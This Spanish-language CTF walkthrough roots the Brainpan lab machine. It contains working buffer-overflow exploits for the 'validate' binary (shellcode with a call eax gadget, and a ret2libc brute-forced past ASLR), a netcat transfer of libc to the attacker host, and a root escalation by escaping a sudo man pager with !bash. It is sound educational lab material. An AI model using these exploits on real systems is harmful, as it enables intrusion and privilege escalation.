pwndbg> run AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
Starting program: /home/user/validate AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBCCCCDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
[Depuración de hilo usando libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x43434343 in ?? ()
pwndbg> p/x $ebp
$1 = 0x42424242
pwndbg> p/x $eip
$2 = 0x43434343
pwndbg> x/s $esp
0xffffd840:     'D' <repetidos 40 veces>
pwndbg>

Podríamos intentar una explotación parecida a la del binario brainpan.exe pero en este caso si queremos saltar al esp no hay ningún gadget de jmp esp o parecido.

❯ ropper --file validate --jmp esp

JMP Instructions
================

0 gadgets found

Podemos aprovecharnos del hecho de que strcpy como return value devuelve un puntero al buffer de destino, por lo que en eax que es donde se guarda el valor de retorno deberiamos tener una dirección que apunta al inicio de nuestro buffer.

pwndbg> x/s $eax
0xffffd7c8:     'A' <repetidos 112 veces>, "BBBBCCCC", 'D' <repetidos 40 veces>
pwndbg>

Si miramos con ropper direcciones a donde podemos saltar encontramos 2 instrucciones que ejecutan call eax, con lo que volveríamos al inicio del input.

❯ ropper --file validate --jmp eax

JMP Instructions
================

0x080484af: call eax;
0x0804862b: call eax;

2 gadgets found

Cualquiera de las 2 direcciones para call eax es válida pero hay que pasarla a formato little endian, como no tenemos pwntools en la maquina crearemos una funcion llamada p32 usando el propio atributo .to_bytes() para convertirla.

p32 = lambda addr: addr.to_bytes(4, "little")

Iniciamos con un shellcode el cual nos ejecutará una /bin/sh, rellenamos con A's hasta llegar al return address, en el ejecutaremos el call eax que llama al inicio del buffer, como en el inicio enviamos el shellcode se ejecutará y nos dará la shell.

#!/usr/bin/python3
import sys

p32 = lambda addr: addr.to_bytes(4, "little")

shellcode = b"\x6a\x0b\x58\x6a\x68\x66\x68\x2f\x73\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x99\xcd\x80"

offset = 116
junk = b"A" * (offset - len(shellcode))

payload  = b""
payload += shellcode
payload += junk
payload += p32(0x80484af) # call eax;

sys.stdout.buffer.write(payload)

Ejecutamos el binario validate en la máquina victima con el exploit ejecutado como validate, al hacerlo conseguimos una shell como el usuario anansi.

puck@brainpan:~$ validate $(python2 exploit.py)
$ whoami
anansi
$ hostname -I
10.10.27.47
$

Otro método es explotarlo mediante un ret2libc, para esto necesitamos saber la libreria que usa el binario que en este caso con ldd vemos que es libc.so.6.

puck@brainpan:~$ ldd /usr/local/bin/validate
	linux-gate.so.1 =>  (0xb77d5000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7621000)
	/lib/ld-linux.so.2 (0xb77d6000)
puck@brainpan:~$

Descargamos el archivo libc.so.6 con netcat de la misma manera que antes.

puck@brainpan:~$ netcat 192.168.100.73 4444 < /lib/i386-linux-gnu/libc.so.6
puck@brainpan:~$

❯ netcat -lvnp 4444 > libc.so.6
Listening on 0.0.0.0 4444
Connection received on 192.168.100.2

Para empezar tomaremos como base una dirección de libc usando ldd.

puck@brainpan:~$ ldd /usr/local/bin/validate
        linux-gate.so.1 =>  (0xb7719000)
        libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
        /lib/ld-linux.so.2 (0xb771a000)
puck@brainpan:~$

Ahora con readelf conseguimos offsets de las direcciones para exit y system.

❯ readelf -s libc.so.6 | grep -E " system@@| exit@@"
   136: 00032fb0    45 FUNC    GLOBAL DEFAULT   12 exit@@GLIBC_2.0
  1422: 0003f430   141 FUNC    WEAK   DEFAULT   12 system@@GLIBC_2.0

Para conseguir un offset de la dirección de /bin/sh podemos usar strings.

❯ strings -a -t x libc.so.6 | grep /bin/sh
 160f58 /bin/sh

El exploit rellena con A's el offset hasta el return address, ahí llama a la función system y el primer dword del stack que pertenece al siguiente return address cuando termine system lo define como exit, luego como argumento para system que se encuentra en el segundo dword del stack envia la dirección de /bin/sh.

#!/usr/bin/python3
import sys

p32 = lambda addr: addr.to_bytes(4, "little")

offset = 116
junk = b"A" * offset

libc_base = 0xb7565000

payload  = b""
payload += junk
payload += p32(libc_base + 0x03f430) # system()
payload += p32(libc_base + 0x032fb0) # exit()
payload += p32(libc_base + 0x160f58) # "/bin/sh"

sys.stdout.buffer.write(payload)

Sin embargo tenemos un problema y es que la dirección de libc base cambia constantemente, esto es porque el ASLR esta activado y hay aleatorizacion.

puck@brainpan:~$ ldd /usr/local/bin/validate 
    linux-gate.so.1 =>  (0xb77ce000)
    libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb761a000)
    /lib/ld-linux.so.2 (0xb77cf000)
puck@brainpan:~$ cat /proc/sys/kernel/randomize_va_space
2
puck@brainpan:~$

Sin embargo en x86 las direcciones son tan pequeñas que después de ejecutar el binario varias veces la dirección de libc base vuelve a coincidir varias veces.

puck@brainpan:~$ for i in $(seq 1 1000); do ldd /usr/local/bin/validate | grep 0xb7565000; done
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
	libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7565000)
puck@brainpan:~$

Asi que es caso de ejecutarlo en bucle hasta que consigamos una sh como anansi.

puck@brainpan:~$ while true; do validate $(python3 exploit.py); done
Segmentation fault
Segmentation fault
Segmentation fault
$ whoami
anansi
$ hostname -I
10.10.27.47
$


Shell - root


A nivel de sudoers podemos ejecutar como root sin contraseña anansi_util.

$ sudo -l
Matching Defaults entries for anansi on this host:
    secure_path=/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
$ sudo /home/anansi/bin/anansi_util
Usage: /home/anansi/bin/anansi_util [action]
Where [action] is one of:
  - network
  - proclist
  - manual [command]
$

Tenemos varias opciones entre ellas manual, podemos desplegar el manual del comando whoami y entra en un modo paginate, ejecutamos !bash y somos root.

$ sudo /home/anansi/bin/anansi_util manual whoami

NAME
       whoami - print effective userid

SYNOPSIS
       whoami [OPTION]...

DESCRIPTION
       Print the user name associated with the current effective user ID

       --help display this help and exit

       --version
              output version information and exit

AUTHOR
       Written by Richard Mlynarik.

!bash

root@brainpan:/usr/share/man# id
uid=0(root) gid=0(root) groups=0(root)
root@brainpan:/usr/share/man# hostname -I
10.10.27.47
root@brainpan:/usr/share/man# cat /root/b.txt 

_|                            _|  
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|
                                            _|


                                              http://www.techorganic.com

root@brainpan:/usr/share/man#

Es necesario mencionar que el Buffer Overflow de la escalada es opcional ya que a nivel de sudoers de puck tenemos el binario anansi_util que vimos antes, así que solo repetimos el proceso y conseguimos una shell como el usuario root.

puck@brainpan:~$ sudo -l
Matching Defaults entries for puck on this host:
    secure_path=/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User puck may run the following commands on this host:
    (root) NOPASSWD: /home/anansi/bin/anansi_util
puck@brainpan:~$ sudo /home/anansi/bin/anansi_util manual whoami

NAME
       whoami - print effective userid

SYNOPSIS
       whoami [OPTION]...

DESCRIPTION
       Print the user name associated with the current effective user ID

       --help display this help and exit

       --version
              output version information and exit

AUTHOR
       Written by Richard Mlynarik.

!bash

root@brainpan:/usr/share/man# id
uid=0(root) gid=0(root) groups=0(root)
root@brainpan:/usr/share/man# hostname -I
10.10.27.47
root@brainpan:/usr/share/man# cat /root/b.txt 

_|                            _|
_|_|_|    _|  _|_|    _|_|_|      _|_|_|    _|_|_|      _|_|_|  _|_|_|
_|    _|  _|_|      _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|    _|  _|        _|    _|  _|  _|    _|  _|    _|  _|    _|  _|    _|
_|_|_|    _|          _|_|_|  _|  _|    _|  _|_|_|      _|_|_|  _|    _|
                                            _|
                                            _|


                                              http://www.techorganic.com

root@brainpan:/usr/share/man#